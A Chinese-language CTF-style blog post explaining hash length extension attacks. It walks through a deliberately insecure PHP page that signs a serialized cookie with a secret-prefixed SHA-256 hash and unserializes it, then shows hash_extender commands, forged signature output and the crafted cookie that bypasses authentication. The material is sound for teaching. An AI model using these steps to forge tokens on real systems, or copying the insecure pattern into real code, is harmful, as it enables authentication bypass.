在做plaidctf时遇到了这个,记录下吧。
先说说这个漏洞的基本原理吧,
从上图可以看出,当加密的数据不足64字节的时候会自动补齐,补齐的规则是:会对消息进行分组,每组64字节,不足64字节的部分用padding补齐。padding的规则是,在最末一个字节之后补充0x80,其余的部分填充为0x00,padding最后的8字节用来表示需要哈希的消息长度。
从上图中可以看出,md5加密方式是先对第一个64字节进行压缩加密生成hash直接作为下一组的输入,一直到结束,当你知道key的长度的时候你就可以添加相应的padding,再在其后面添加你想添加的数据。因为知道相应的md5的值可以很容易逆向出压缩算法的最后的四个数,直接用这四个数作为appending的输入就可以获得新的合法的md5数据了。
具体的攻击实例:
下面是一个php的用sha256认证的代码:
<?php
$SECRET="234098761";
echo serialize(false)."<br />";
echo serialize(true)."<br />";
$auth=false;
if (isset($_COOKIE["auth"]))
{
$auth=unserialize($_COOKIE["auth"]); //先给$auth赋一个真值
$hsh=$_COOKIE["hsh"];
echo $_COOKIE["auth"]."<br/>";
if ($hsh !== hash("sha256",$SECRET.strrev($_COOKIE["auth"])))
{
$auth=false;
echo "hsh is error! <br />";
}
}
else
{
$auth = false;
$s=serialize($auth);
setcookie("auth",$s);
setcookie("hsh",hash("sha256",$SECRET.strrev($s)));
}
if ($auth)
echo "succusel <br/>";
else
echo "fails <br />";
?>
运行结果的如下,没有验证成功,下面我们来绕过这个验证:
直接git上面下载源代码来破解:
git clone https://github.com/iagox86/hash_extender
cd hash_extender
make
先从cookie里面复制auth的值:feab615a09e9c09c1c79e806337bf73450786f1026ef88cf23a0c775b9c28391
beyond@beyond ~/code/git/hash_extender-master $ ./hash_extender -f sha256 -l 9 -d ';0:b' -s feab615a09e9c09c1c79e806337bf73450786f1026ef88cf23a0c775b9c28391 -a ';1:b' --out-data-format=html
Type: sha256
Secret length: 9
New signature: 4cd85bfa32cfded3b01ed2a18af281c7dfd8118fdb3ce2d0d729f48fecbb1560
New string: %3b0%3ab%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00h%3b1%3ab
-f 代表加密方式
-l key的长度
-s 原始的hash值
-a 添加的值
--out-data-format 输出的格式
从上面算得的值hash值是 sha256(key || padding || append) append的值是true的值。将cookie中的hsh换成上面的生成的新hash,再把上面的string逆序下:
b%3a1%3bh%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3a0%3b
用上面的字符串修改auth的cookie值,再访问此网页就会认证成功了:
参考:
http://hi.baidu.com/aullik5/item/a4906012f04552fc9c778afa
http://le4f.net/post/writeup/-ctf-plaidctf-2014-twenty_mtpox_doge_stege-writeup
https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks